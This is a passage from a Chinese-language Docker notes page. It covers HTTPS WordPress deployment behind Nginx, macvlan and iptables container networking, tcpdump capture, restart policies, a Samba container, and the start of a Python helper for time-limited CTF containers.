</span><span class=\"o\">/</span><span class=\"nv\">etc</span><span class=\"o\">/</span><span class=\"nv\">pure</span><span class=\"o\">-</span><span class=\"nv\">ftpd</span><span class=\"o\">/</span><span class=\"nv\">passwd</span><span class=\"o\">/</span><span class=\"nv\">pureftpd</span>.<span class=\"nv\">passwd</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"nv\">m</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"nv\">u</span><span class=\"w\"> </span><span class=\"nv\">ftpuser</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"nv\">d</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"nv\">data</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"wordpress\">快速部署wordpress<a class=\"headerlink\" href=\"#wordpress\" title=\"Permanent link\">&para;</a></h2>\n<p>@TAG sub_filter</p>\n<p>想搭建一个自己的blog，选择玩一玩wordpress咯，这里记录一下完整的流程和遇到的问题及解决方案</p>\n<p>技术相关： Docker Nginx HTTPS </p>\n<p>目标： 快速搭建一个全站https的wordpress站点，域名为example.com</p>\n<h3 id=\"_7\">完整流程：<a class=\"headerlink\" href=\"#_7\" title=\"Permanent link\">&para;</a></h3>\n<ol>\n<li>前期准备:域名+vps</li>\n</ol>\n<p>注册域名 如果面向国内访问，还需要备案咯；别忘了配置DNS解析</p>\n<p>买个vps服务器，建议选择香港vps</p>\n<ol start=\"2\">\n<li>安装Docker和Nginx</li>\n</ol>\n<div class=\"codehilite\"><pre><span></span><code>curl -fsSL https://get.docker.com -o get-docker.sh\nsh get-docker.sh --mirror Aliyun\napt-get install -y nginx\n</code></pre></div>\n\n<ol start=\"3\">\n<li>启动一个mysql的镜像：</li>\n</ol>\n<div class=\"codehilite\"><pre><span></span><code># Google搜索关键词 &quot;docker mysql&quot;\ndocker run --name mysql -e MYSQL_ROOT_PASSWORD=这里改成你想设置的密码 -d mysql\n# Google搜索关键词 &quot;docker wordpress&quot;\ndocker run --name wp --link mysql:mysql -p 6666:80 -d wordpress\n</code></pre></div>\n\n<ol start=\"4\">\n<li>\n<p>域名https证书获取以及启用https访问，此部分具体见<a href=\"../Nginx/\">Nginx.md</a>中<code>获得Let's encrypt免费https证书</code>和<code>配置安全的https</code>部分</p>\n</li>\n<li>\n<p>配置Nginx，完整配置如下：</p>\n</li>\n</ol>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">server</span><span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"n\">server_name</span><span class=\"w\"> </span><span class=\"o\">*.</span><span class=\"n\">example</span><span class=\"o\">.</span><span class=\"n\">com</span><span class=\"w\"> </span><span class=\"n\">example</span><span class=\"o\">.</span><span class=\"n\">com</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"n\">location</span><span class=\"w\"> </span><span class=\"o\">/.</span><span class=\"n\">well</span><span class=\"o\">-</span><span class=\"n\">known</span><span class=\"o\">/</span><span class=\"n\">acme</span><span class=\"o\">-</span><span class=\"n\">challenge</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"w\"> </span><span class=\"c1\">#这是let&#39;s encrypt申请证书的时候用到的目录</span>\n<span class=\"w\">        </span><span class=\"n\">alias</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">tmp</span><span class=\"o\">/</span><span class=\"n\">acme</span><span class=\"o\">/</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"n\">try_files</span><span class=\"w\"> </span><span class=\"o\">$</span><span class=\"n\">uri</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"mi\">404</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"w\">    </span><span class=\"n\">location</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">rewrite</span><span class=\"w\"> </span><span class=\"o\">^</span><span class=\"w\"> </span><span class=\"n\">https</span><span class=\"p\">:</span><span class=\"o\">//$</span><span class=\"n\">host</span><span class=\"o\">$</span><span class=\"n\">request_uri</span><span class=\"err\">?</span><span class=\"w\"> </span><span class=\"n\">permanent</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"p\">}</span>\n<span class=\"n\">server</span><span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"n\">server_name</span><span class=\"w\"> </span><span class=\"o\">*.</span><span class=\"n\">example</span><span class=\"o\">.</span><span class=\"n\">com</span><span class=\"w\"> </span><span class=\"n\">example</span><span class=\"o\">.</span><span class=\"n\">com</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"n\">include</span><span class=\"w\"> </span><span class=\"n\">https</span><span class=\"o\">.</span><span class=\"n\">conf</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"n\">access_log</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"k\">var</span><span class=\"o\">/</span><span class=\"nb\">log</span><span class=\"o\">/</span><span class=\"n\">nginx</span><span class=\"o\">/</span><span class=\"n\">example_access</span><span class=\"o\">.</span><span class=\"n\">log</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"n\">error_log</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"k\">var</span><span class=\"o\">/</span><span class=\"nb\">log</span><span class=\"o\">/</span><span class=\"n\">nginx</span><span class=\"o\">/</span><span class=\"n\">example_error</span><span class=\"o\">.</span><span class=\"n\">log</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"n\">ssl_certificate</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">home</span><span class=\"o\">/</span><span class=\"n\">keys</span><span class=\"o\">/</span><span class=\"n\">example</span><span class=\"o\">.</span><span class=\"n\">crt</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"n\">ssl_certificate_key</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">home</span><span class=\"o\">/</span><span class=\"n\">keys</span><span class=\"o\">/</span><span class=\"n\">example</span><span class=\"o\">.</span><span class=\"n\">key</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"n\">location</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">proxy_pass</span><span class=\"w\"> </span><span class=\"n\">http</span><span class=\"p\">:</span><span class=\"o\">//</span><span class=\"mf\">127.0</span><span class=\"o\">.</span><span class=\"mf\">0.1</span><span class=\"p\">:</span><span class=\"mi\">6666</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"n\">proxy_set_header</span><span class=\"w\"> </span><span class=\"n\">Host</span><span class=\"w\"> </span><span class=\"o\">$</span><span class=\"n\">host</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"n\">proxy_set_header</span><span class=\"w\"> </span><span class=\"n\">Accept</span><span class=\"o\">-</span><span class=\"n\">Encoding</span><span class=\"w\"> </span><span class=\"s2\">&quot;&quot;</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">#禁止后端返回gzip内容，保证能够替换</span>\n<span class=\"w\">        </span><span class=\"n\">sub_filter_once</span><span class=\"w\"> </span><span class=\"n\">off</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">#多次替换 不只是替换一次</span>\n<span class=\"w\">        </span><span class=\"n\">sub_filter</span><span class=\"w\"> </span><span class=\"s2\">&quot;http://www.example.com&quot;</span><span class=\"w\"> </span><span class=\"s2\">&quot;https://www.example.com&quot;</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<h3 id=\"_8\">遇到的坑<a class=\"headerlink\" href=\"#_8\" title=\"Permanent link\">&para;</a></h3>\n<ol>\n<li>docker run的时候忘记-p参数</li>\n</ol>\n<p>建议还是把端口映射出来，在容器重启后容器的内网IP是会发生变化的，不适合将172.17.0.*这种IP写入nginx配置</p>\n<p>此时我选择了<code>docker rm -f 容器ID</code>强制删掉容器，再加上-p参数后启动</p>\n<ol start=\"2\">\n<li>全站https</li>\n</ol>\n<p>虽然我的https.conf中定义了HSTS，浏览器也确实会把所有的请求都自动用https协议访问，但是还是由于form的action为http协议而警告不安全(在Chrome开发人员工具的Console看到)，也没有小绿锁显示。所以要保证服务器输出给浏览器的内容就是https的链接</p>\n<p>一开始选择了官方wordpress的方法(Google关键词&rdquo;wordpress https&rdquo;)，结果导致了下文第三点的折腾</p>\n<p>最终选择的方案是在nginx反向代理的时候替换文本内容，使用sub_filter这个模块进行文本内容替换</p>\n<p>遇到了问题，这个sub_filter不起作用，(Google关键词 &ldquo;sub_filter not working&rdquo;)原因是容器返回的内容启用了gzip，无法替换，方法是加入一行配置禁止容器的Apache使用gzip: proxy_set_header Accept-Encoding &ldquo;&rdquo;;</p>\n<p>参考：</p>\n<p>http://stackoverflow.com/questions/31893211/http-sub-module-sub-filter-of-nginx-and-reverse-proxy-not-working</p>\n<ol start=\"3\">\n<li>由于在后台修改了Wordpress Address和Site Address改为https的链接，导致后台无法打开，重定向死循环</li>\n</ol>\n<p>解决方案是进入mysql容器手动修改，把进行的修改改回去</p>\n<p>问题在于我也并不知道改了啥，在终端mysql<code>select * from wp_options;</code>有些行太长导致关键内容刷屏而过，不方便查看表</p>\n<p>我的方法是先<code>mysqldump -p密码 wordpress &gt;test.sql</code>，再用nano打开test.sql，用Ctrl+W搜索https（Google关键词&rdquo;nano search&rdquo;），把对应的地方找到改回http，保存后用<code>mysql -p密码 wordpress &lt; test.sql</code>导入数据库 完事~</p>\n<hr />\n<h2 id=\"dockerfile-apt-get\">Dockerfile 中的 apt-get<a class=\"headerlink\" href=\"#dockerfile-apt-get\" title=\"Permanent link\">&para;</a></h2>\n<p>为了让 apt-get 顺利静默执行，需要配置环境变量防止交互：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">DEBIAN_FRONTEND</span><span class=\"o\">=</span><span class=\"n\">noninteractive</span> <span class=\"n\">apt</span><span class=\"o\">-</span><span class=\"n\">get</span> <span class=\"n\">install</span> <span class=\"o\">-</span><span class=\"n\">y</span> <span class=\"p\">...</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"dockerip\">让Docker容器得到内网IP<a class=\"headerlink\" href=\"#dockerip\" title=\"Permanent link\">&para;</a></h2>\n<p>这里的内网不是只有主机可以访问的容器Docker内网，而是主机接入的企业内网这种；如果你能直接通过设置IP获得公网IP，当然按照这个方法也能给容器分配公网IP</p>\n<p>注意：此方法Docker容器虽然获得了和主机地位相同的IP，但容器无法使用主机的IP与主机通讯，主机好像也不能访问容器的IP，这是Linux内核为了隔离性和安全性做出的限制</p>\n<p>参考： </p>\n<blockquote>\n<p><a href=\"https://micropyramid.com/blog/assign-public-ip-address-to-docker-container-without-port-binding/\">不用端口转发给容器分配公网IP地址 ASSIGN PUBLIC IP ADDRESS TO DOCKER CONTAINER WITHOUT PORT BINDING.</a></p>\n<p><a href=\"https://sreeninet.wordpress.com/2016/05/29/macvlan-and-ipvlan/\">Macvlan and IPvlan basics</a></p>\n<p><a href=\"https://sreeninet.wordpress.com/2017/08/05/docker-networking-tip-macvlan-driver/\">Docker Networking Tip – Macvlan driver</a></p>\n<p><a href=\"https://www.slideshare.net/SreenivasMakam/docker-networking-common-issues-and-troubleshooting-techniques\">PPT Docker Networking - Common Issues and Troubleshooting Techniques</a></p>\n</blockquote>\n<p>做法也很简单，首先创建一个Macvlan类型的docker网络，然后在创建容器的时候加入这个网络并指定IP/不指定则自动分配</p>\n<p>例子：主机（网卡eth0）的IP为10.1.1.2，网关为10.1.1.1，主机所处的IP段是10.1.1.1/24，在该网段内主机可以任意获得IP，我们希望容器分配在10.1.1.65~10.1.1.126之间 （即 10.1.1.64/26）</p>\n<p>附： <a href=\"http://jodies.de/ipcalc?host=10.1.1.64&amp;mask1=26&amp;mask2=\">这是一个输入Network 10.1.1.64/26转换为HostMin 10.1.1.65~ HostMax 10.1.1.126的计算器</a></p>\n<div class=\"codehilite\"><pre><span></span><code>docker network create -d macvlan -o macvlan_mode=bridge -o parent=eth0 --subnet=10.1.1.0/24 --ip-range=10.1.1.64/26 --gateway=10.1.1.1 macvlan_network\n\ndocker run --net=macvlan_network --ip=10.1.1.100 -d nginx\n</code></pre></div>\n\n<p>现在你可以访问 <code>http://10.1.1.100</code> 来看到nginx的欢迎页面了，你需要在内网另一台机器上访问（我的发现是主机和这样分配的容器是不互通的）</p>\n<div class=\"admonition warning\">\n<p class=\"admonition-title\">可能的IP冲突</p>\n<p>启动容器时可以不指定ip让docker自动分配，警告：如果没有配置ip-range参数，有可能被分配的恰好是主机本身的IP，这种情况将导致主机丢失IP无法联网！</p>\n<p>万一发生这种虚拟机把主机的IP抢占的情况，在没有物理控制方法下不可轻易使用ifconfig修改主机IP，因为一旦使用ifconfig主机的route将被清空、当前主机的其他IP也会丢失，你就丢失远程访问的可能了（也许你可以写一个脚本自动恢复route稳妥一点）；但神奇的是即使主机route已经丢失，按照上述macvlan开出来的Docker容器仍然在线（也可以理解——容器的route并没有受到影响，类似于Virtualbox的桥接网卡方式）</p>\n</div>\n<h3 id=\"macvlanip\">获取macvlan容器的IP<a class=\"headerlink\" href=\"#macvlanip\" title=\"Permanent link\">&para;</a></h3>\n<p>@TAG getip</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"x\"># clean version</span>\n<span class=\"x\">docker inspect --format &quot;</span><span class=\"cp\">{{</span><span class=\"nv\">.NetworkSettings.Networks.macvlan网络名称.IPAddress</span><span class=\"cp\">}}</span><span class=\"x\">&quot; 容器名称</span>\n\n<span class=\"x\"># dirty but quick version</span>\n<span class=\"x\">docker inspect 容器名称 | grep IP</span>\n</code></pre></div>\n\n<h3 id=\"macvlanip_1\">macvlan查看已经分配的IP<a class=\"headerlink\" href=\"#macvlanip_1\" title=\"Permanent link\">&para;</a></h3>\n<p>由于主机和容器不能互通，所以主机如何得知目前已经分配的IP列表呢？用docker network inspect咯，然后用python处理一下输出格式</p>\n<p>下面这个命令列出了容器IP和容器名称：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">docker</span><span class=\"w\"> </span><span class=\"n\">network</span><span class=\"w\"> </span><span class=\"n\">inspect</span><span class=\"w\"> </span><span class=\"n\">macvlan_bridge</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">format</span><span class=\"w\"> </span><span class=\"s\">&quot;{{range .Containers}}{{.IPv4Address}}@{{.Name}},,,{{end}}&quot;</span><span class=\"w\"> </span><span class=\"o\">|</span><span class=\"w\"> </span><span class=\"n\">python3</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">c</span><span class=\"w\"> </span><span class=\"err\">&#39;</span><span class=\"n\">print</span><span class=\"p\">(</span><span class=\"n\">input</span><span class=\"p\">().</span><span class=\"n\">replace</span><span class=\"p\">(</span><span class=\"s\">&quot;/24@&quot;</span><span class=\"p\">,</span><span class=\"s\">&quot;</span><span class=\"se\">\\t</span><span class=\"s\">&quot;</span><span class=\"p\">).</span><span class=\"n\">replace</span><span class=\"p\">(</span><span class=\"s\">&quot;,,,&quot;</span><span class=\"p\">,</span><span class=\"s\">&quot;</span><span class=\"se\">\\n</span><span class=\"s\">&quot;</span><span class=\"p\">),</span><span class=\"n\">end</span><span class=\"o\">=</span><span class=\"s\">&quot;&quot;</span><span class=\"p\">)</span><span class=\"err\">&#39;</span><span class=\"o\">|</span><span class=\"n\">sort</span>\n</code></pre></div>\n\n<p>如果只需要IP列表：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"x\">docker network inspect macvlan_bridge --format &quot;</span><span class=\"cp\">{{</span><span class=\"nv\">range</span> <span class=\"nv\">.Containers</span><span class=\"cp\">}}{{</span><span class=\"nv\">.IPv4Address</span><span class=\"cp\">}}</span><span class=\"x\">,</span><span class=\"cp\">{{</span><span class=\"nv\">end</span><span class=\"cp\">}}</span><span class=\"x\">&quot; | python3 -c &#39;print(input().replace(&quot;/24,&quot;,&quot;\\n&quot;),end=&quot;&quot;)&#39;|sort</span>\n</code></pre></div>\n\n<h3 id=\"macvlan\">主机访问macvlan的容器<a class=\"headerlink\" href=\"#macvlan\" title=\"Permanent link\">&para;</a></h3>\n<p>由于内核限制并不支持host直接使用上述指定的ip访问容器，而docker network connect让容器再加入一个网络又会改变容器的默认路由，但我就是想让主机能访问到容器，咋办哩？</p>\n<p>参考：http://blog.oddbit.com/2018/03/12/using-docker-macvlan-networks/</p>\n<p>想访问的容器IP为10.1.1.66，这种方法需要让主机再获得一个IP，例如10.1.1.3。注意这种配置是不持久的，重启后丢失</p>\n<div class=\"codehilite\"><pre><span></span><code>DEVICE_NAME=&quot;eth0&quot;\nNAME=&quot;mynet-shim&quot;\nHOST_GETIP=&quot;10.1.1.3&quot;\nTARGET_IP=&quot;10.1.1.66&quot;\n\nip link add $NAME link $DEVICE_NAME type macvlan  mode bridge\nip addr add $HOST_GETIP/32 dev $NAME\nip link set $NAME up\nip route add $TARGET_IP/32 dev $NAME\n</code></pre></div>\n\n<hr />\n<h2 id=\"iptablesdockerip\">使用iptables端口转发让Docker容器得到内网IP<a class=\"headerlink\" href=\"#iptablesdockerip\" title=\"Permanent link\">&para;</a></h2>\n<p>上述基于macvlan的方法容器无法与主机通讯，所以下述基于iptables端口转发的方法更胜一筹</p>\n<p>这种方法基于主机自己去获得一个额外的内网ip后，用iptables端口转发来实现给容器内网IP的效果，容器应用可以得到请求源IP，但容器向外发起的tcp请求还是主机自身的默认IP</p>\n<p>该脚本运行时需要两个参数 第一个为容器名称 第二个为新的IP后缀</p>\n<p>举个例子 主机在10.12.34.x这个内网地址段 且可以随意得到这个地址段的内网IP，现在要给mysql容器10.12.34.202这个IP，运行方式就是<code>./give_container_ip.sh mysql 202</code></p>\n<p>记得修改下面的IPPREFIX和ETH0变量！</p>\n<h3 id=\"give_container_ipsh\">give_container_ip.sh<a class=\"headerlink\" href=\"#give_container_ipsh\" title=\"Permanent link\">&para;</a></h3>\n<p>@TAG 端口转发</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"ch\">#!/bin/bash</span>\n<span class=\"nb\">set</span><span class=\"w\"> </span>-ex\n<span class=\"nb\">shopt</span><span class=\"w\"> </span>-s<span class=\"w\"> </span>expand_aliases\n\n<span class=\"k\">if</span><span class=\"w\"> </span><span class=\"o\">[</span><span class=\"w\"> </span>-z<span class=\"w\"> </span><span class=\"nv\">$1</span><span class=\"w\"> </span><span class=\"o\">]</span><span class=\"w\"> </span><span class=\"o\">&amp;&amp;</span><span class=\"w\"> </span><span class=\"o\">[</span><span class=\"w\"> </span>-z<span class=\"w\"> </span><span class=\"nv\">$2</span><span class=\"w\"> </span><span class=\"o\">]</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"k\">then</span>\n<span class=\"w\">    </span><span class=\"nb\">echo</span><span class=\"w\"> </span><span class=\"s2\">&quot;Usage: </span><span class=\"nv\">$0</span><span class=\"s2\"> &lt;container name&gt; &lt;new IP suffix&gt;&quot;</span>\n<span class=\"w\">    </span><span class=\"nb\">echo</span><span class=\"w\"> </span><span class=\"s2\">&quot;Example: </span><span class=\"nv\">$0</span><span class=\"s2\"> u202 202&quot;</span>\n<span class=\"w\">    </span><span class=\"nb\">exit</span><span class=\"w\"> </span><span class=\"m\">1</span>\n<span class=\"k\">fi</span>\n\n<span class=\"nb\">alias</span><span class=\"w\"> </span><span class=\"nv\">getip</span><span class=\"o\">=</span><span class=\"s2\">&quot;docker inspect  --format &#39;{{.NetworkSettings.IPAddress}}&#39; &quot;</span>\n\n<span class=\"nv\">IPPREFIX</span><span class=\"o\">=</span><span class=\"s2\">&quot;10.12.34.&quot;</span>\n<span class=\"nv\">ETH0</span><span class=\"o\">=</span><span class=\"s2\">&quot;eth0&quot;</span>\nsudo<span class=\"w\"> </span>ifconfig<span class=\"w\"> </span><span class=\"nv\">$ETH0</span>:<span class=\"nv\">$2</span><span class=\"w\"> </span><span class=\"nv\">$IPPREFIX$2</span><span class=\"w\"> </span>netmask<span class=\"w\"> </span><span class=\"m\">255</span>.255.255.0<span class=\"w\"> </span>up\nsudo<span class=\"w\"> </span>iptables<span class=\"w\"> </span>-t<span class=\"w\"> </span>nat<span class=\"w\"> </span>-I<span class=\"w\"> </span>PREROUTING<span class=\"w\"> </span>-d<span class=\"w\"> </span><span class=\"nv\">$IPPREFIX$2</span><span class=\"w\"> </span>-p<span class=\"w\"> </span>tcp<span class=\"w\"> </span>-j<span class=\"w\"> </span>DNAT<span class=\"w\"> </span>--to<span class=\"w\"> </span><span class=\"sb\">`</span>getip<span class=\"w\"> </span><span class=\"nv\">$1</span><span class=\"sb\">`</span>\nsudo<span class=\"w\"> </span>iptables<span class=\"w\"> </span>-t<span class=\"w\"> </span>nat<span class=\"w\"> </span>-I<span class=\"w\"> </span>POSTROUTING<span class=\"w\"> </span>-s<span class=\"w\"> </span><span class=\"sb\">`</span>getip<span class=\"w\"> </span><span class=\"nv\">$1</span><span class=\"sb\">`</span>/32<span class=\"w\"> </span>-d<span class=\"w\"> </span><span class=\"sb\">`</span>getip<span class=\"w\"> </span><span class=\"nv\">$1</span><span class=\"sb\">`</span>/32<span class=\"w\"> </span>-p<span class=\"w\"> </span>tcp<span class=\"w\"> </span>-m<span class=\"w\"> </span>tcp<span class=\"w\"> </span>-j<span class=\"w\"> </span>MASQUERADE\n</code></pre></div>\n\n<p>为什么最后用MASQUERADE而不用SNAT呢？因为用SNAT容器的应用就不能得到请求的源IP，在实际应用中是无法接受的；这一条iptables规则是我用<code>docker run -p</code>和<code>iptables-save</code>得到的</p>\n<hr />\n<h2 id=\"tcpdump\">对容器网络流量tcpdump<a class=\"headerlink\" href=\"#tcpdump\" title=\"Permanent link\">&para;</a></h2>\n<p>Learned from: https://www.slideshare.net/SreenivasMakam/docker-networking-common-issues-and-troubleshooting-techniques</p>\n<div class=\"codehilite\"><pre><span></span><code>docker run -ti --net container:&lt;containerid&gt; nicolaka/netshoot tcpdump -i eth0 -n port 80\n</code></pre></div>\n\n<p>举个例子，上述启动了nginx容器并分配了内网ip 10.1.1.100，我们来收集80端口的流量，并保存到/tmp/pcapfiles/nginx.pcap文件：</p>\n<div class=\"codehilite\"><pre><span></span><code>docker run -ti --net container:f5fc -v /tmp/pcapfiles:/data nicolaka/netshoot tcpdump -i eth0 -n -s0 -w /data/nginx.pcap port 80\n</code></pre></div>\n\n<p><a href=\"http://explainshell.com/explain?cmd=tcpdump%20-i%20eth0%20-n%20-s0%20-w%20/data/nginx.pcap%20port%2080\">查看tcpdump参数解释explainshell</a></p>\n<hr />\n<h2 id=\"_9\">修改正在运行的容器的重启策略<a class=\"headerlink\" href=\"#_9\" title=\"Permanent link\">&para;</a></h2>\n<p>docker run的时候忘了指定restart=always，除了commit后再正确地run一遍之外有没有更加优雅的修改容器参数的方法呢？</p>\n<p>参考： https://stackoverflow.com/questions/26852321/docker-add-a-restart-policy-to-a-container-that-was-already-created</p>\n<p>在1.11版本后有了<code>docker update</code>这个命令，可以修改正在运行的容器的参数，如CPU限制、内存限制 和 重启策略</p>\n<p>使目前运行的所有容器都设置为自动重启：</p>\n<div class=\"codehilite\"><pre><span></span><code>docker update --restart=always `docker ps -q`\n</code></pre></div>\n\n<p>如果要取消这个自动重启，改为<code>--restart=no</code>即可</p>\n<hr />\n<h2 id=\"samba\">快速部署samba<a class=\"headerlink\" href=\"#samba\" title=\"Permanent link\">&para;</a></h2>\n<p>@TAG share</p>\n<p>镜像地址：<a href=\"https://hub.docker.com/r/dperson/samba/\">dperson/samba</a></p>\n<p>快速分享一个目录/data，用户名<code>user</code>密码<code>badpassword</code>：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nt\">docker</span><span class=\"w\"> </span><span class=\"nt\">run</span><span class=\"w\"> </span><span class=\"nt\">-d</span><span class=\"w\"> </span><span class=\"nt\">-p</span><span class=\"w\"> </span><span class=\"nt\">139</span><span class=\"p\">:</span><span class=\"nd\">139</span><span class=\"w\"> </span><span class=\"nt\">-p</span><span class=\"w\"> </span><span class=\"nt\">445</span><span class=\"p\">:</span><span class=\"nd\">445</span><span class=\"w\"> </span><span class=\"nt\">--name</span><span class=\"w\"> </span><span class=\"nt\">samba</span><span class=\"w\"> </span><span class=\"nt\">-v</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"nt\">data</span><span class=\"o\">:/</span><span class=\"nt\">data</span><span class=\"w\"> </span><span class=\"nt\">dperson</span><span class=\"o\">/</span><span class=\"nt\">samba</span><span class=\"w\"> </span><span class=\"nt\">-u</span><span class=\"w\"> </span><span class=\"s2\">&quot;user;badpassword&quot;</span><span class=\"w\"> </span><span class=\"nt\">-s</span><span class=\"w\"> </span><span class=\"s2\">&quot;data;/data;yes;no;no;all&quot;</span>\n</code></pre></div>\n\n<p>其中-u指定用户名密码；-s参数的格式为：</p>\n<p>给访问者看的分享名称;物理位置;是否列出;未登录可否访问;允许访问的用户(all表示所有用户)</p>\n<hr />\n<h2 id=\"_10\">按需分配容器 过期自动销毁<a class=\"headerlink\" href=\"#_10\" title=\"Permanent link\">&para;</a></h2>\n<p>@TAG ctf xinetd</p>\n<p>有些题目需要给每个人单独的容器，为了节约资源还需要设置一个时间，过期后自动删除容器</p>\n<p>为了防止滥用还要引入Proof Of Work，回答正确后才分配容器</p>\n<div class=\"admonition warning\">\n<p class=\"admonition-title\">Warning</p>\n<p>该代码直接用的docker命令来创建容器，且需要root权限，注意使用上的安全风险</p>\n</div>\n<p>代码如下：<code>utils.py</code></p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"c1\">#/usr/bin/python3</span>\n<span class=\"c1\">#coding:utf-8</span>\n<span class=\"kn\">import</span> <span class=\"nn\">subprocess</span>\n<span class=\"kn\">import</span> <span class=\"nn\">time</span>\n<span class=\"kn\">import</span> <span class=\"nn\">string</span>\n<span class=\"kn\">import</span> <span class=\"nn\">os</span>\n<span class=\"kn\">import</span> <span class=\"nn\">hashlib</span>\n<span class=\"kn\">import</span> <span class=\"nn\">random</span>\n<span class=\"kn\">from</span> <span class=\"nn\">random</span> <span class=\"kn\">import</span> <span class=\"n\">randint</span>\n\n<span class=\"c1\"># 限时设定</span>\n<span class=\"k\">def</span> <span class=\"nf\">clock</span><span class=\"p\">(</span><span class=\"n\">timeout</span><span class=\"o\">=</span><span class=\"mi\">5</span><span class=\"p\">):</span>\n    <span class=\"kn\">import</span> <span class=\"nn\">signal</span>\n    <span class=\"k\">def</span> <span class=\"nf\">signal_handler</span><span class=\"p\">(</span><span class=\"n\">signum</span><span class=\"p\">,</span><span class=\"n\">data</span><span class=\"p\">):</span>\n        <span class=\"k\">if</span> <span class=\"n\">signum</span> <span class=\"o\">==</span> <span class=\"n\">signal</span><span class=\"o\">.</span><span class=\"n\">SIGALRM</span><span class=\"p\">:</span>\n            <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s2\">&quot;Time is up!&quot;</span><span class=\"p\">)</span>\n            <span class=\"n\">exit</span><span class=\"p\">()</span>\n    <span class=\"n\">signal</span><span class=\"o\">.</span><span class=\"n\">signal</span><span class=\"p\">(</span><span class=\"n\">signal</span><span class=\"o\">.</span><span class=\"n\">SIGALRM</span><span class=\"p\">,</span> <span class=\"n\">signal_handler</span><span class=\"p\">)</span>\n    <span class=\"n\">signal</span><span class=\"o\">.</span><span class=\"n\">alarm</span><span class=\"p\">(</span><span class=\"nb\">int</span><span class=\"p\">(</span><span class=\"n\">timeout</span><span class=\"p\">))</span>\n\n<span class=\"c1\"># 生成随机字符串</span>\n<span class=\"k\">def</span> <span class=\"nf\">randomstring</span><span class=\"p\">(</span><span class=\"nb\">len</span><span class=\"o\">=</span><span class=\"mi\">5</span><span class=\"p\">):</span>\n    <span class=\"k\">return</span> <span class=\"s1\">&#39;&#39;</span><span class=\"o\">.</span><span class=\"n\">join</span><span class=\"p\">(</span><span class=\"n\">random</span><span class=\"o\">.</span><span class=\"n\">sample</span><span class=\"p\">(</span><span class=\"n\">string</span><span class=\"o\">.</span><span class=\"n\">ascii_letters</span><span class=\"p\">,</span><span class=\"nb\">len</span><span class=\"p\">))</span>\n\n<span class=\"c1\"># 计算md5</span>\n<span class=\"k\">def</span> <span class=\"nf\">md5</span><span class=\"p\">(</span><span class=\"n\">src</span><span class=\"p\">):</span>\n    <span class=\"k\">return</span> <span class=\"n\">hashlib</span><span class=\"o\">.</span><span class=\"n\">md5</span><span class=\"p\">(</span><span class=\"nb\">bytes</span><span class=\"p\">(</span><span class=\"n\">src</span><span class=\"p\">,</span><span class=\"n\">encoding</span><span class=\"o\">=</span><span class=\"s1\">&#39;utf-8&#39;</span><span class=\"p\">))</span><span class=\"o\">.</span><span class=\"n\">hexdigest</span><span class=\"p\">()</span>\n\n<span class=\"c1\"># 显示一个随机字符串，要求用户计算其md5</span>\n<span class=\"k\">def</span> <span class=\"nf\">pow_calcmd5</span><span class=\"p\">():</span>\n    <span class=\"n\">question</span> <span class=\"o\">=</span> <span class=\"n\">randomstring</span><span class=\"p\">()</span>\n    <span class=\"n\">answer</span> <span class=\"o\">=</span> <span class=\"n\">md5</span><span class=\"p\">(</span><span class=\"n\">question</span><span class=\"p\">)</span>\n    <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s2\">&quot;Please calculate md5(</span><span class=\"si\">%s</span><span class=\"s2\">)=&quot;</span><span class=\"o\">%</span><span class=\"n\">question</span><span class=\"p\">,</span><span class=\"n\">end</span><span class=\"o\">=</span><span class=\"s1\">&#39;&#39;</span><span class=\"p\">)</span>\n    <span class=\"k\">if</span> <span class=\"nb\">input</span><span class=\"p\">()</span><span 